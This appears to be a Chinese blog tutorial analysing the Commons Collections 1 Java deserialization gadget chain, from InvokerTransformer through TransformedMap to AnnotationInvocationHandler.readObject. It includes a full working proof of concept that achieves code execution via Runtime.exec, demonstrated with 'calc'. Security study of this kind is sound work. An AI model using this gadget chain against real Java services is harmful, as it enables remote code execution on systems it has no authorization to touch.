Commons Collections1 反序列化分析

Commons Collections1

#影响Commons Collections版本<=3.2.1

sink点

由于transform函数 输入的对象是object类相当于任意类 然后invoke反射调用该类的任意方法,造成调用任意类的任意方法

public Object transform(Object input) {
if (input == null) {
	return null;
} else {
	try {
		Class cls = input.getClass();
		Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
		return method.invoke(input, this.iArgs);
	} catch (NoSuchMethodException var4) {
		throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
	} catch (IllegalAccessException var5) {
		throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
	} catch (InvocationTargetException var6) {
		throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
	}
}
}

以上方法位于InvokerTransformer类中 使用如下代码尝试RCE

public class cc1 {
	public static void main(String[] args) throws Exception{
		Runtime r = Runtime.getRuntime();
		new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
	}
}

初始化时 传入的方法是exec 参数是calc

这里就 通过反射获取Runtime类然后调用exec参数是calc

Godget链

那么已知Transform方法能够RCE那么就回溯寻找到调用了Transform的类中的checksetvalue方法

这里就从TransformedMap入手吧

那么要调用checksetvalue函数,就要先通过构造方法给这个valueTransformer赋值,而valueTransformer必须是InvokerTransformer类才能进入InvokerTransformer的transform中,或者另外一个类他含有transform方法而且其transform方法可以调用InvokerTransformer的transform方法也就是ChainedTransformer这个类,这两种方法都可以。

这里看到decorate方法调用了protected的构造方法,之后就可以checksetvalue了。

再来找找有没有哪个地方调用了checksetvalue

static class MapEntry extends AbstractMapEntryDecorator {

	/** The parent map */
	private final AbstractInputCheckedMapDecorator parent;

	protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
		super(entry);
		this.parent = parent;
	}

	public Object setValue(Object value) {
		value = parent.checkSetValue(value);
		return entry.setValue(value);
	}
}

这里可以看到 如果有一个MapEntry的类调用了setvalue那么就可以进一步调用checkSetValue然后调用Transform尝试RCE了

再来找找哪个类调用了setvalue,那么这个类很可能就是MapEntry类或者其子类

最后找到这里,他的readobject方法里面调用了setValue方法,由于这个readobject是类名为AnnotationInvocationHandler里面的readobject,因此我们要进行反序列化RCE的话就要创建一个AnnotationInvocationHandler对象并且序列化

由于AnnotationInvocationHandler类不是public修饰的,所以需要通过反射来创建对象

Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transfromedMap);

这个transfromedMap和Target.class两个参数下面会讲

查看一下他的readpbject方法 type参数是一个注解类

    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

/*
这两行代码定义了一个类中的两个成员变量,分别是type和memberValues。

type是一个Class类型的变量,限定了该Class必须是Annotation的子类。这个变量存储了注解的类型信息是一个注解类。

memberValues是一个Map类型的变量,存储了注解中的成员变量名和对应的值。在Java中,注解可以有成员变量,这些成员变量可以在注解中赋值。memberValues这个Map存储了这些成员变量和对应的值,可以通过成员变量的名字来获取对应的值。*/

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }
//这是构造方法用于赋初值

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

获取给定注解类型的AnnotationType对象

annotationType = AnnotationType.getInstance(type);

获取annotationType(注解类对象)的成员 封装成Map 一组键值对

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取当前遍历的map的元素的key

String name = memberValue.getKey();

根据name 获取当前memberTypes的成员变量

Class<?> memberType = memberTypes.get(name);

后面有个if判断

if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }

要让两个判断返回true 要求 memberType != null即传入的注解类需要有成员方法 而且名字要为memberValue中的key相同

最终poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transfromedMap);


        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

Problems||困惑

Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);

transfromedMap传入chainedTransformer是因为上文所述chainedTransformer含有transform方法而且其transform方法可以调用InvokerTransformer的transform方法

TransformedMap a = new TransformedMap(); //报错
Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);//正常

第一个报错虽然TransformedMap类是public但是其构造函数是protected,也会导致在其他包中无法直接访问,所以报错,但是第二种方法不会报错因为decorate是public

memberValue.setValue(
	new AnnotationTypeMismatchExceptionProxy(
		value.getClass() + "[" + value + "]").setMember(
			annotationType.members().get(name)));
}

这里明明setvalue的值不可控为何可以成功RCE呢?

我们跟踪一下 在setvalue的时候会走到这里

他的parent父类是transformedmap,后面setvalue的也是transformedmap而value任然是我们不可控的,其实后面会发现我们压根不用管这个value它可以被覆盖

我们再来看看transformedmap的checkSetValue调用过程

前面进行了decorate

decorate调用了TransformedMap构造函数

所以是chainedTransformer调用了transform value任然是那个不可控的参数

进入chainedTransformer的transform方法看看 之前将poc中的transformers赋值给了iTransformers

所以这里 iTransformers就是chainedTransformer,而object就是之前的value是不可控的

i=0的时候 object还是不可控的那个参数

i=1之后 object就是Runtime了 就可以 transform之后 就调用反射创建了这个Runtime对象并return给下一个循环

这里iTransformers[0]需要是ConstanTransform是因为 他的transform方法返回的是其本身的iConstant而不是input

如图 即使input是那个不可控的但是iConstant是咱们可控的 所以原来的input压根没用了被覆盖了 所以i=1之后 object就是Runtime了

后面就是正常的链式调用RCE了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值